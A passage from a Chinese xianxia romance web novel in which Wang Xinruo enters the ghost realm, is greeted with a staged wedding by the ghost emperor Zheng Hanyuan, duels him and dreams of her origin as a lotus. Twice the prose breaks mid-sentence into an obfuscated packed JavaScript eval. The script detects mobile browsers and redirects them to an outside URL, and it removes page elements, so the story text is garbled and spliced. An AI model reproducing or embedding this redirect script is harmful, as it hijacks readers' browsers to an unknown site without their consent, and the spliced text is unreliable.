她用指尖在墙上飞快写完一道符咒,随着一声“破——”,鬼火般的幽光乍现,光焰瞬间将她吞噬。 她感到一股巨大引力,须臾间,周围成了无尽的黑暗。 在这片黑暗中,她飞快下坠。 游日月出鞘,拖住她下降的身影。 时间一点一滴流淌,她终于看见一处幽幽红光,于是御剑朝那处飞去。 三界有两处永夜,一处九重天,一处鬼域。九重天有繁星万点,鬼域有满地火莲。 原本是没有的,郑含元来了后,火莲便成了鬼域标志性植物,开满十二城。 寻常莲花开在水中,鬼域火莲开在岩石上。 王心若未落地前,便听闻一阵窃窃私语声,然而放眼望去,黑暗中并无生灵死灵气息。 待她落地后,才知道嘈杂声音源于何处。 落地顷刻间,无数巴掌大的纯白小纸人从岩壁黑暗面四面八方涌到她脚边,叽叽喳喳说个不停。 小纸人声音很小,汇聚在一起却很吵嚷。 王心若俯身蹲下,因衣袖落地,纸人们纷纷让开,其中一个纸人反应太慢,被袖子压在地上,正拼命挣扎。 她捏着那只纸人,把它轻轻放在掌心。 小纸人在她手中爬了起来,空白的脸上竟出现两团可疑红晕。 天……纸人也会脸红么? 王心若不禁一笑,小纸人在她手中跳跳,右手指指她耳朵。 “你要和我说话?”她问。 纸片一折一折,应是纸人疯狂点头。 她将它放在耳边,听那纸人用细细如小童子般的声音道:“仙长,仙长!叽叽~叽叽叽叽~” ……呃,叽叽叽是什么…… 王心若突然觉得跨种族的交流非常困难。 于是她只好捏起另一只小纸人放在耳边,这只小纸人喊道:“咕咕咕!香香!咕咕!” ……王心若满头黑线。 她把咕咕纸人放下去,拿起另外一个,这只说:“呱呱~呱呱~喜欢!” 嗯……好吧。 她耐着性子多听几个,发现小纸人们反复说的话她只能听懂三个词,就是“仙长”、“喜欢”、“香香”。据她推测,它们的意思是它们喜欢她身上的味道。 怪不得一窝蜂聚过来。 它们要跟着就跟着吧,王心若起身向前走去,小纸人们有的直接沾她身上,有的跟在她身后,胆大的顺着她衣服往上爬。她尽量避开它们,向前走去。 这是一个幽暗洞穴,只有火莲孤寂开放,她走了几步,忽然觉得不对劲,脚步隐隐有重声,回头看看,却并无什么。 然而,再向前走几步,若有若无绒毛样的东西落在她身上,她刚要侧脸望去,眼前忽然出现一团漂浮在空中的头发。 那团头发吓得小纸人们纷纷从她身上抖落,像飘落的雪花般。 “闯了人家的家,不该留下什么做补偿吗?”那团头发中传来妖娆尖利的女声。 只见头发中伸出猩红尖细的舌头,就要往王心若脖上撞去。 在舌头即将碰到她一瞬,空中忽然升腾起一团火焰。 舌头碰到了火焰。 “啊啊啊啊啊啊!!”洞穴中瞬间响起凄厉的惨叫。 “偶的鞋头啊啊啊啊啊!” 那团头发拼命甩着红舌,企图缓解火灼疼痛,它不甘心飞到王心若眼前,气急败坏喊道:“坟蛋坟蛋,赔我鞋头!不拦不浪走!!” 王心若冷漠望着她,手忽然插.进那团头发中,把头发捋了起来。 原来是个人头。 长得还挺漂亮。 人头姑娘愣住了,望着她,呆了片刻,然后暴躁叫道:“坟蛋啊!不要掀姑凉家的刘海!” 王心若抓着它的头发,上下看了遍,确定只是只普通的暴躁女鬼后,把它在地上拍了拍,像球一样扔走了。 小纸片人们飞快涌回来,探头探脑望过去,齐齐地“哇——”了一声,又开始叽叽喳喳起来。 王心若听见趴在自己肩上的诸多纸片人道:“头头……惨惨……哭哭……” 她往外走,那人头姑娘满脸幽怨飞了回来,然后悲愤地哭起来。 “偶的鞋头……呜呜……” 王心若懒得理她,随手施了个咒,把它烫伤的舌头治好。 人头姑娘哭了半天,突然觉得舌尖沁凉,不再疼痛,渐渐收起哭声。 反应过来时,王心若已经走远。 它呆了片刻,飞上前去,喊道:“仙长!等等人家!” 王心若发现此处洞穴林立,隧道蜿蜒,一个洞口九个岔路,方向难辨。 正准备放出神识探测,人头姑娘跟了上来,想靠近她又不敢靠近,在她左边飞一会,又去她右边飞一会。 “你做什么?” “人家……人家……仙长,你法力高强,能不能帮人家一件事?” 王心若盯着她,问道:“你先回答我的问题。” “啊?啥问题?” “你们鬼帝是不是回来了?” “是的是的!” “他在哪儿?” “冥京丰都城鬼帝殿。” “怎么走?” “从你面前这个洞出去,走三道洞过一个桥向东转再往北走过三个桥朝西转淌一条河翻一座山朝东过三个洞穴就到城门了,进城后每个人都知道鬼帝殿,你到那儿问就行。” 王心若听见这些话,就像听见几百个纸人在耳边叽叽喳喳一样,理不清个头绪。 “……你带路吧。” 人头姑娘一改之前阴森之态,反而激动殷勤地带她沿路前行。 折腾一番,终于走到洞穴尽头,看见硕大的丰都城门,视野不由开阔起来。 丰都城天如墨,却在飘着晶莹洁白的细雪。 一条城河环绕着这座城池,巨大的红月挂在天边,与满地交错的红莲一同映照着城池。 除却火莲,地上开了许多不知名的小花,泛着淡淡金光,远望去,就像撒了一地金粉。 与人间和天界完全不同的景色。 城中很热闹,精怪鬼魂游荡其间,穿梭在各高楼中。高楼鳞次栉比,皆挂着许多串大红灯笼,它们多是赌坊、酒楼、饭馆、钱庄……夹杂其中的小馆子挂着幡帐,店主站在馆子前叫卖鬼域货物,声声吆喝热闹非凡。 河中一座接一座的画舫顺水漂流,丝竹管弦声不绝于耳,不是一般风雅情调。恰巧一座画舫顺水流过,坐在画舫上拨弄筝弦的,竟是一个长着九条狐狸尾巴的狐妖。 早在来到城门时,王心若已敛起一身天界气息,外人看她,已与孤魂野鬼无二。 “仙长,人家怕生,就不过去了……”人头姑娘躲在岩洞出口,目光略带艳羡看着繁华的丰都城。 “嗯。” “哎!仙长,我带你到了丰都城,你能不能帮我个事儿啊?” 王心若朝她温柔一笑,然后道:“不能。” “什么?”它震惊道,“仙长,你怎么这样?你这不是欺骗人家感情吗??” “我说要帮你了么?” 人头呆滞摇摇头。 “那不就是,谢谢,我走了。” 人头怔住,半天没回过神,终于委屈哭出声:“你们仙人怎么都这么无情啊!” 它没手,所以没人给它抹眼泪。 正当它哭得一抽一抽时,一块锦帕砸到她脸上,像有灵魂般擦掉它的眼泪鼻涕,而后消失不见。 接着,一块玉简砸到它头上,挂在它发梢。 “十二时辰后再联系我。” 它停止抽泣,望着那质地莹润的玉简愣了一会,然后爆发一阵嚎哭。 呜呜,仙长好无情,好冷酷,好喜欢。 * 王心若和人头姑娘告别后,随着一批鬼魂混进丰都城。 小纸人们趴在她肩上发边,一会喊“糕糕”,一会喊“糖糖”。 她朝旁边望去,原来有只树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137505|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精在卖糖和糕点。 走上前去,花花绿绿的糖果和七彩色的糕点让王心若一时不知该不该下手。 “姑娘,想要什么?”树精嘿嘿问道。 她突然想起来自己没钱,什么也买不了,刚想摇头离开,却没想到小纸人们自己跳了上去。 铺天盖地的纸人,把糖和糕点吃干抹净。 王心若:…… 这也太快了?完全来不及阻止啊。 难道堂堂天界大师姐要吃霸王餐? 正当王心若想用什么来付钱时,小纸人们忽然“嘭——”一声消失了。 随之而来,是一声食饱餍足的叹:“啊呀呀,终于吃饱了~” 随着一团缭绕轻烟,一具白骨出现在她身侧。 此白骨十分奇特,头骨上生着一头乌黑亮丽的长发,直垂到小腿。白骨无血肉,浑身上下却散发着风.骚妖娆的气质。 树精看到他愣住,赶忙拜道:“原是白骨郎君,白骨郎君安好!” 白骨郎君舒展他的骨骼,从肋骨某个间隙取出一沓金灿灿的纸递给树精,“承蒙招待,不胜感激~” “客气客气!” 白骨郎君朝王心若俯身行礼,低沉的嗓音极有磁性,“美丽的姑娘,鄙人鬼帝座下白骨郎君是也,姑娘不弃,可以叫我白郎~” 王心若与白骨郎君并无见过面,但她知道,郑含元手中常拿的法器——白骨拂尘就是眼前这位白骨郎君。 原来可爱的小纸人化成这么一具白骨,她有些怅然若失。 白骨郎君靠近她,深深一闻,感叹道:“姑娘身上的仙气着实好闻,鬼魂闻一口,益寿又延年呐~” “鬼魂死都死了,哪来的益寿延年?” “呃……哎,不要在意这些细节~” “你跟着我,有什么事么?”王心若问。 白骨郎君嘻嘻一笑,“倒也不是什么大事,姑娘请看——” 他修长的指骨向她身后指去,只见河流上只剩下一座画舫。 那座画舫十分精美,船身挂着红灯笼和银铃铛,船身雕刻着莲花。 丰都雪落,金粉遍地,琼灯如火。 周围的妖魔鬼怪忽然都望向她。 画舫下来一黑一白两个人,然而他们都穿着赤色衣衫,提着一盏灯笼。 说实在话,略有些违和。 “黑无常范无救、白无常谢必安,见过姑娘。” 白骨郎君做了个请的手势,“姑娘,请上船,两位鬼差会带你见想见的人。” 王心若颔首。 郑含元搞什么鬼? 她心怀疑惑,走到岸边,没想到周围的鬼怪忽然齐齐朝她洒起花来。 鬼域没什么正常的鲜花,他们撒的也都是地上现摘的火莲和小金花。 顿时,金花、莲瓣、白雪夹在一起纷落。 她在黑白无常和白骨郎君的邀请下,步入挂满灯笼的画舫。 沿着河流,画舫缓缓流向前方。画舫流一路,两岸鬼怪便喧闹一路,也撒了一路的花。 缓缓地流淌。 画舫停了。 天边蓦然响起烟花声,白骨郎君弓腰请道:“姑娘,随我出去罢。” 王心若掀开帘子走了出去,黑白无常站在画舫前,为她在鬼群中清出一条道路。 她隐隐约约听见喧嚣声中有人兴奋道:“新娘子好漂亮!”“哇,鬼后娘娘真得好美呀!”“咱们鬼域好久没这样的喜事啦!” 什么?新娘子?鬼后? 一朵烟花又飞上鬼域天空,炸开满目星花银火。 这一声后,忽然,周围的鬼怪全安静。 接着,他们恭敬往后退去,皆弓腰拜向一处。 王心若抬眸。 绚烂烟花和虚幻的红月下,漫天飘雪里,穿着金纹白衣的男子款步上前。 金冠古簪束起他的长发,那双赤眸幽不见底,右颊两行血红符咒丝毫未破坏容颜之俊美。 他朝她伸出手,欲接她上岸。 他唇边泛起一抹笑,“师姐,别来无恙。” 双手相触那一瞬,二人身上衣衫悉数染为浓郁张扬的红色,比满地火莲还要炽热的红色。 黄泉起高楼,挂水钩月连十州。 琼灯花火摧心肝,细泣忽媚笑,蓦然夜色稠。 奈何再抬眸,金粉铺路雪满头。 丰都喧闹一处没,枯腰次第收,拜见鬼王侯。 24. 旧伤 24.旧伤 静默片刻,望着二人身上火红的衣袍,围观的鬼怪们沸腾了。 不少妖精发出奇怪的声响。象精忽然伸出长长的鼻子,朝天瞎嚎一番;树精疯狂摆动头上长的纸条,叶子簌簌作响;白骨郎君鼓掌鼓得十指关节嘎嘣嘎蹦;鸽子精欢快地咕咕咕叫着……鬼魂们显然文静许多,他们只不过是像喝假酒一样开始步伐不稳地跳舞而已。 王心若感觉有人在扯自己的裙角,向下望去,原来是一个唇红齿白的小童子。 小童子手里拿了一盏花灯,百瓣莲心拢着皎白淡银光芒,他咧着嘴笑,努力伸手想把花灯递给她。 王心若右手接过花灯,随着一阵银光,花灯瞬间化为一支簪,簪子通体流动着月光般的色泽,簪头灼灼莲花盛放,垂下摇曳红玉珠。 她端详那支簪子,抬眸问:“送我的?” 郑含元上次看她穿嫁衣还在不久前,然而两次心境殊然不同。 上一次,就像看见心仪多年的邻家姑娘被恶人强娶,这一次,却好似正在诱拐觊觎许久的高岭之花。 虽然两次都不太对劲,但这次明显更刺激。 郑含元未开口,保持高冷地嗯了一声。 王心若却轻轻一笑,素手执簪,将之轻轻插.入乌发中,缓缓道出“谢谢”二字。 她道谢时,声音极温柔,又抬眸望他一眼,清透双眸映着诸天繁光,流波滟滟,没来由让人呼吸放缓。 红莲月华簪缀在如墨乌发间,红珠叮当碰撞在她白皙脸颊,当真是物华玉颜两相宜。 这样的反应让郑含元始料未及,但那潋滟眸光,让他有种被撩拨的感觉。 再看去,对方眼神又恢复了云淡风轻,仿佛之前风情都是他晃神时的假想。 想来也不可能,应该是眼花。冰雪雕出的心,怎会懂那火热之事。 但也不完全,那个夜晚足以让郑含元颠覆对她的既往认知,尽管她别有目的。 在她撩拨了和她没撩拨的纠结中,郑含元越想越气,不由冷哼一声。 送完灯的小童子看看王心若,看看郑含元,跑到白骨郎君身边压着声音问道:“白大哥,这种关键时刻,陛下怎么跟个木头桩子似的?” 白骨郎君抱起小童子,揉揉他的头,“小明,你还小,大人的事你不懂。” 小童子正是外头颇负盛名昼哭夜笑的‘日月童子’,唤作郑小明。 郑小明咦呃了一声,小声嘟囔:“我还小都知道女孩子要哄,陛下这么大还不知道啊……” 察觉到郑含元那边传来的冰冷视线,白骨郎君捂着郑小明的嘴隐匿人群中。 “这位陛下,您想带我去哪里呢?”王心若主动问道。 郑含元指指天。 只见片刻间,一条巨大黑龙从远天俯冲而来,掀起一阵狂风,围观群众纷纷以袖掩面,却仍扛不住黑龙冲击力,时不时有人向左右问:“哎我头呢?你们谁见我头了?” 黑龙经过二人时,郑含元一手攀住龙角,一手拉住她,瞬间脚下腾空,飞向空中。 不一会,二人皆翻身坐上龙身,在妖精鬼魂的嚎叫欢呼声和漫天烟花中离开此处。 地下,抱着郑小明的白骨郎君拍拍黑白无常的肩膀,“辛苦辛苦,兄弟辛苦。” 说着,从肋间隙扯出两沓金澄澄的纸钱塞到他们手中,又跟围观群众说道:“谢谢大家捧场,谢谢!今日白骨酒楼酒水全免,大家可以去一醉方休!” 群众们欢呼着跑走了。 白骨郎君抚了抚自己飘逸的长发,极速缩小,变成一把拂尘拖着郑小明朝黑龙追去。 * 黑龙上,王心若坐在郑含元身后。 郑含元不说话,她也不开口。 最终,郑含元忍不住开口问:“满意么?” 王心若没反应过来,“什么?” “迎接你的排场,可够盛大?” 她哦了声,淡淡道:“花里胡哨,幼稚得很。” 郑含元忍不住反驳道:“你并未拒绝,还收下礼物。” 王心若看着他回望过来的侧脸,轻笑道:“那是我知情识趣,不在你子民面前伤你面子。” 被她一通怼,郑含元哑口无言,最后只好沉声道:“师姐,别太过分,这是在鬼域,不是在天界!” “你威胁我?” “威胁你如何?” “好啊,”她一笑,游日月瞬间出鞘,“多年过去,你气焰依旧嚣张,看来是想念我的封印了。” 游日月瞬间削去郑含元一缕鬓发,在空中折返,银光直逼他胸口,郑含元赶忙以纵春秋抵挡,剑音铿鸣,爆发出强大气波。郑含元震惊道:“你来真的?” 王心若飞身握住游日月,落在黑龙头顶,俯视着下坐的郑含元,“师弟,我何时对你来过假的?” 郑含元看她似笑非笑却冷漠的眼神,跳动的心脏仿佛被千万只蚂蚁吞噬,满腔热情瞬间被冰雪掩埋,五味杂陈,却又深深无力。 看这模样,她不仅忘记了,而且对他更比之前还要冷淡无情。 为什么?凭什么? 郑含元怒极反笑,“你当然来过假的,你原本就是假的,虚伪至极,可恨!”他提起纵春秋,不再被动,直接上前迎战。 接着,鬼域子民见到了他们平生所见最明亮皎洁的星光月色,也见到了最盛大的金光火莲。 暖色调的柔与刚,互相纠缠,难舍难分,让本就迷离梦幻的丰都光景更加朦胧,引人沉醉。 白骨酒楼的食客扒着窗往外看这绚烂场面,叹道:“不愧是陛下婚礼,排场就是不一样……” 游日月和纵春秋迸发出的剑意,笼罩着整个鬼域,也照亮了战斗中心的彼此。 两人招招狠辣,丝毫不给对方喘息机会。 王心若刚躲过纵春秋的剑气,回头便带嘲意轻笑道:“师弟,你这话说得倒像怨妇。 避开游日月的剑锋,郑含元险些被她的话气得当场暴毙,于是口不择言回道:“我是怨妇?呵!那师姐算什么,负心汉么?” “你浑说什么?”王心若面色一冷,朝他刺去。 “王心若,我看你改名叫王若算了。” “为何?” “因为你没有心!” …… 他二人打得酣畅淋漓,被当作移动战场的黑龙心中七上八下、胆战心惊。 有些话他不想听,可这两位毫不顾忌他的感受说了一通,就当他是个死物一样,让他一下子接受了许多令人震惊的信息。 尤其是陛下,今夜一点鬼域之主的气势也没有,简直让他听不下去,感到整个世界都崩塌了……他真怕等他们回过神,将他杀龙灭口。 未了避免这样悲惨的命运,黑龙决定在二人说出更可怕的虎狼之词前出声。 “陛下,鬼帝大殿将至,一切都准备好了。” 黑龙话音刚落,漫天剑意瞬间消失,两位红衣玉人极有默契地落座黑龙身上。 黑龙心情复杂地落地,在他看到郑含元下龙后还伸手让王心若扶着时以及王心若真得搭着他的手含笑走下来时,他感到自己两只龙眼快瞎了。 他们在人前为什么这么能演?这就是高境修士的爱情么? 他看不懂了。 郑含元和王心若在两侧鬼侍的欢呼声和撒花中步入后殿。 一进后殿,殿门砰得一关,将诸鬼抵挡在门外,二人客气的笑容瞬间消失。 王心若开门见山,“郑含元,流光在哪里?” 郑含元气结,“你问我就要说,这是求人的态度?师姐,别忘了,自你第一次封印我,我们便势不两立。” “封印你是你做错了,你若无错,我为何封印你?” “几千年的黑暗,你知道那是什么感觉么?我如何错了?分明是你处事不公!” “少提旧账,流光在哪里?” 小小后殿容不下磅礴剑气,二人便换术法相斗,不一会,郑含元那座雕花大床便被一道白光切断了一脚,砸到地上,发出巨大的声响。 门外的鬼侍面面相觑,纷纷夸道:“陛下好生勇猛!” 也有鬼侍嘶了一声,“陛下这般,不知娘娘可 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屋内,二人又打了七八回合,毫不相让。 “师姐无所不能,就猜猜他在哪里。若猜不到,就让他永远留在鬼域!” 王心若边守边攻,同时也在释放神识寻着任流光的气息,任流光剑性偏阴寒,受损严重,应在储满寒冰的地方修养,但鬼域本身就属于阴寒之地,处处皆是这样的气息,并不好寻。 “师姐怎么不说话了?若实在找不到,你求一求我,说不定我善心大发,便告诉了你。” “闭嘴!”王心若无意与他斗嘴,只是仔细寻找气息。 郑含元见她神色认真,心中更是拧成一团,不甘道:“师姐,在你眼里,恐怕谁都比我重要。为了他们,你会毫不犹豫踩我几脚,哪怕把我踩到深渊,也在所不惜。” 王心若眉头微皱,手下一顿,“你说什么?” 他自嘲道:“我说,在你心里,我什么都不是。” 王心若面色一寒,眸中带着一丝狠意,双手更是运了更多灵气,化作符咒朝他飞去。 见她杀招毕现,郑含元更是怒火燃心,似血红线从手中倾出,将那空中阵法瞬间割裂。王心若未及躲避,那红线擦着她的肩往殿门处飞去。 瞬间,王心若的似雪衣衫被红线从肩处撕裂。 殿门应声而倒。 几个不明物体摔在门口,传来痛呼。 硕大的黑龙头垫底,上面是白骷髅,在上面是揉着头的小童子。 郑含元没想到那丝红线会割破她的衣衫,使她的背部暴露,他下意识想将她搂进怀里赶紧遮住。 谁知,王心若面上忽然浮现一丝慌乱,赶忙握着他的手腕直直将他摁在墙上。 她回头望向倒在地上的几人,冷声道:“滚出去。” 白骨郎君最先反应过来,赶忙站起来提着郑小明、拖着黑龙退出去。 王心若回头抬眸,两人视线相撞。 郑含元被她摁在墙边,垂眸望着她那双琉璃美目和破碎衣衫,瞬间怒气全消。 “对不起,我不知道真得会伤到你……” 王心若看了眼肩,那里果然沁出一丝血,“无碍。” 冷静下来后,撕破的衣服自动复合,她恢复一副清冷似雪的模样。 只是,突如其来的,头忽然又痛起来,碎星弥漫的识海有星光相聚却很快散开,只轻飘飘留下两个字。 她面带迷茫,那两个字几乎是下意识地脱口而出:“如官?” 郑含元眼眸倏然睁大。 而在门外,白骨郎君的骨头愈发泛白,“你们看见了么?” 黑龙和郑小明先是赶忙摇摇头,过了一会,又心虚点点头。 白骨郎君呃了半天,终于道:“那应该……不是……陛下伤的吧?” 他们都看见了,那位姑娘背上有一片狰狞纵横、深可见骨的伤疤。 和如雪如玉的肌肤完全格格不入。 25. 一吻 25.一吻 念出那两个字时,王心若的表情是迷茫的,她不解为何这两个字会突然充满脑海。 隐约中,脑海浮现一个少年面庞,和眼前人七八分相似,却没他那般苍白,不像他在黑暗中呆了许久。 笑容阳光,气质爽朗又干净。 那一丝头痛并未消散,反而越来越重,像缕缕丝线缓缓缠绕住脑海,逐渐收紧,割破思绪,模糊意识。随着头痛的加剧,周身肌肤也变得滚烫起来,仿佛要点燃血肉筋脉。 她有些承受不住,往前走了一步,终究站不稳,向前倾倒。 郑含元赶忙接住她,搂住她的肩,将她圈入怀抱。 因她喊出如官,他十分想问她是否回忆起来他们那段时间中相处的点点滴滴,然而此刻,他感到怀中人的肌肤烫得不对劲,便将这问题抛诸脑后,急忙问道:“师姐,你怎么会这么烫?” 王心若视线一片模糊,她摇摇头,抓着他衣襟,略有些艰难道:“如官……” 这两个字像忽然浮现在脑海的魔咒,引她十分想要念出。 郑含元怔了会,俯下身,放低了声音,在她耳边道:“若若,我在。” 王心若已闭上双眼,只是羽睫轻颤,两颊也因灼热温度带上染上淡红,她声音中带一丝喑哑,有些匆忙道:“水……带我去水里……” 郑含元不敢停留,横抱起她,进了后殿密室中。 密室中有一方水池,不断氤氲着热气。 郑含元将她放在池旁,帮她脱去鞋袜,正要替她解开衣裙,然而放在她腰结的手却被她握住。 王心若虚弱的声音中带一丝慌乱道:“不用,就这样……” “好。”郑含元轻轻托起她的腰,将她一点点放到池中。 好不容易将她放到池中,刚松开手,她便歪斜着往水底沉去。 郑含元赶忙扶住她的肩,左思右想,怕这样箍她让她不舒服,便也下了水,靠在池沿,让她靠着自己的胸膛,双手微搂在她腰间,让她倚靠在自己身上,免得又倒进水中。 水虽也温热,但比身上可怕的滚烫清凉许多,她脸上终于出现一丝放松神色。 她抚上搂在腰间的手,轻声道:“水热,我想要这样的温度。” 他的手比水要稍微凉上几分,这样的温度刚刚好。 “好,马上就好。”他一边回道,一边暗释灵力,将池中水温降下来。 莲花对水有天然的亲切感,这样的温度就像回到最初的家,可以洗去一身疲乏,王心若终于完全放松下来,完全倚靠在他怀中。 意识很沉,很沉,让她直直坠入梦境。 梦境,是很早很早的时候。 瑶池,一重天极南端,轻云缭绕,周围是绵延的雪山。 师尊的头发和那雪山一样白,眸眼比那轻云还难以捉摸。 她还是瑶池莲花时,师尊经常坐在瑶池旁边,陪她说话,然而其实,她听不明白师尊在讲什么。 一朵莲花能懂些什么? 她记得那时,师尊最常说的一句话是,“小莲花,快快长大,吾将赐你骨,赐你名,为你铸造肉身,让你识得三界五色七情,与吾同行天地。” 后来,她长得太慢,师尊可能太孤单了,于是他不知去哪儿收了个弟子。 这个弟子,就是记忆碎片中那个少年模样。 甚至比那个还要阳光几分,唯一不好的,就是有点坏。 师尊带着他到瑶池看她。 师尊说:“含元,这是你的师姐。” 他一脸震惊,坐到池边,指着她道:“师尊,你说这朵莲花是我的师姐?” 师尊点点头,他乐了,边笑边伸手就去摸莲花花瓣,“可真神奇,一个没人身的莲花,居然是我的师姐?师姐,你听得见我说话吗?” 说完,他还摇了摇她的茎,“师姐,我在和你打招呼呢。” 对莲花一族来说,这样的行为无疑很冒犯,可她无法开口,表达不了她的生气。 还是师尊训斥了他。 所以,一开始,她对这个突如其来的师弟没什么好感。 直到后来,才有所改观。因为初见后,他偶尔会到瑶池来看她。 除了师尊外,这是第二个会和她说话的人,而且,他说的话比师尊说的容易听懂。 有时,他抓条鱼放到她身边,“小莲花,我给你带朋友来了。” 有时,他带一壶酒过来,自己喝一口,给她浇一口,说这天界太冷清,连个说话人也没有,竟连喝酒也只能对个莲花。她酒量差,被他这么一烈酒淋头,立马醉得昏睡过去,徒留他一人在旁边聒噪。 有次,最可笑的是,这个傻师弟居然凑到她旁边,像讲什么秘密似的说,其实他也是一朵莲花,不过比她凶残很多,他是混沌界自生出的地莲,能吃人那种。 说完,他真得化身成一朵巨大的火莲,熊熊烈火燃烧,中间的火焰扭曲成一张血盆大口,冲着她狰狞怪笑,把她吓了个半死。 看她花瓣忽然合拢紧闭,他好像知道她在怕,赶忙化身回来,道:“你怎么这么胆小啊,这就捂着脸不敢看了?你放心,我吃谁也不吃你……” 她才敢慢慢舒张花瓣。 她其实在想,莲花族怎么会有这么丑的一朵花…… 那火焰燃烧下,花瓣透着灰烬般的黑色。 又丑又可怕。 大概过了一段时间,师尊给她铸肉身了。 师尊和他眼里都满盛着期待和紧张,他还在一旁问师尊,“师尊,万一出来个丑八怪怎么办?” 哎,他怎不想想,她怎么可能丑?他那朵黑乎乎的食人花都炼成这般模样,像她这瑶池中最美的莲花,肯定只会比他更加好看。 师尊源源不断为她输送灵力,在夺目的白色光芒中,她感到自己像小藕一样长出了枝节,五识也从小小一方舒展开来。 白光散去,她从莲花修成了人形。她睁开眼睛,看见的第一个人,是他。 他靠得很近,几乎是趴在池边看她。 她从水中生,浑身上下带着水气,乌发是湿的,嘴唇是湿的,睫毛上带着水珠,眸光也像水。 他在池上,穿着素白袍子,高束着长发,剑眉斜飞入鬓,眸光灿灿如星,含笑与她对望。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137507|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她眨眨眼,懵懵懂懂中,和他对望很久。 她看见的第二个人,是师尊。 师尊坐在一旁,满意又欣慰地看着她,像是看一幅精心绘制的图画,也像打量一件珍宝。但总归并未走上前来,只是坐在石凳上,带着浅浅的笑。 她刚爬出水池,想站到陆地上去,却没想到与她对望的他忽然收回目光,赶忙转身,无措道:“你你你怎么出来了!” 她没站稳,腿脚尚不大有气力,朝他跌去,他听见声响,赶忙回头,接住了她,眼神却始终不敢看她,望着天上。 师尊挥手,一件白纱裹上她的身躯,师尊笑道:“小莲花还不懂世上规矩体统。” 那白纱裹著她后,他才敢看向她,只是耳根带着她看不懂的红。 “你已有人身,该有个正经名字,以后,你就叫王心若吧。”师尊道。 从那之后,她成了王心若,和郑含元一同,成了这浩浩天界中唯二的仙。 她说话还不利索,走路也迟钝,师尊让郑含元教她。教她写字,教她走路,教她修炼,教她常识。 她刚成人时,不大懂男女之别。有次扶光师叔给她了一袋子南海珍珠,她想拿去和他一起玩,结果他和师尊正在云海中修炼,期间未着寸缕,她压根没关注,直接跳着跑进海里,从身后搂住他脖子,手中摇着珍珠袋子,兴高采烈喊道:“含元!你猜我给你带了什么!” 郑含元面红耳赤,师尊拎着她的衣领把她扔了出去。 还有一次,师尊带他们去不死谷打猎,她和郑含元一同抓住了昆仑鸢,高兴之下,她跳起来抱住他,拿着昆仑鸢胡叫瞎喊一通。最后,又被师尊拎着衣领下来,训了一顿。 师尊说,心若,你是师姐,稳重些,不要总粘着含元。 她说,可是我喜欢含元。 师尊脸色有些古怪,问她,你知道什么是喜欢么? 她说,就是喜欢和他一起玩,看见了会很开心,天天都想见面。 师尊又问,你不想天天见到为师么? 她想了想,我天天都能见到师尊啊。 师尊便没有再追问下去。 郑含元经常和师尊抱怨,说他教她那么多,按理来说,他应该当大师兄才对,怎么屈居人下,当了这么名不副实的师弟。 后来,师尊收了很多新徒弟。 这些师弟教她很多,她也很快成长为真正的大师姐,而她学东西越来越快,师弟再教不了她什么,她反而能代替师尊授课。 郑含元不再是唯一的师弟,但是唯一一个心不甘情不愿喊她师姐的师弟。所以,在别人恭恭敬敬喊她“大师姐”时,他却常常半带调侃喊她“小师姐”。 …… 若是一切都停留在最开始,当然是最美好的,只是时光从来不等人,人也不会永远都保有最初的模样。 睡梦中,不知不觉便流下泪,湿润了眼睫。 池中,郑含元抱着她,一直静静地看着她。 忽然看她流了泪,他想伸手替她拭去,却被紧紧攥着手,无法抽出。 于是,他侧过脸,轻轻吻了上去。 26. 宝镜 26.宝镜 泪轻轻淡淡晕开。 郑含元想知道,是怎样的回忆和梦境才让她落泪,而这滴泪,又是为谁而落。 多少年才能再次拥有这样的机会,抬眸一望便能如此近距离望见她的容颜,微俯下身便能吻去她的泪水,拥得紧些便能用自己炽热的体温和心跳隔着轻衣感受她的体温和心跳。 这样近。 当初轻易得到的,隔着沧海桑田、漫长岁月,偶尔一次,也算是缘分的施舍。最无奈的是,人永远不知缘分的施舍何时到来,何时离去,到底是破镜重圆似镜花水月般的神话,还是失而复得却得而复失的笑话。 即使明白,却偏偏因那一点希望,愿意站在一条不知道有没有尽头的路上守望。 她的肩膀这样瘦削,手腕这样纤细,为何总要拿着那柄剑,站得又高又远,用望着仇雠的眼光望着他,用不带情绪的声音宣判他的罪过,然后把他封在不见天日的无道荒海之中。 似乎不应是这样的。 她的睡颜并不那么恬静,秀眉轻皱,像是有不好的情绪,可他却无法抚平,着实是一件让人失落的事。 隐隐余光里,他看她沾了水滴的朱唇就像清晨垂挂枝头的樱桃,终是忍不住心中压抑着的贪情的火焰,一点点,覆上去,吻在唇畔。 偷得片刻欢,慰我千秋思。 忽然想起惊鸿派那个夜晚她热情的拥吻与主动的索取,和此时宁静睡去的她判若两人,到底哪个才是真的? 在这寂静无声的时刻,心火被记忆和疑问一点点燃得更加旺盛,心像缺失一块,空落落的,想从另一人身上找来弥补。这样轻轻吻着她的嘴角,已然无法弥补心中的空洞和燃着的欲.望。 所以更近一步贴着她的睡颜,一点点从唇角吻起,想像她吻他一样,把她给他的热情还回去,加倍还回去。 可因两人坐在池中,她倚靠着他,手又被她攥着,他无法完全吻住她。 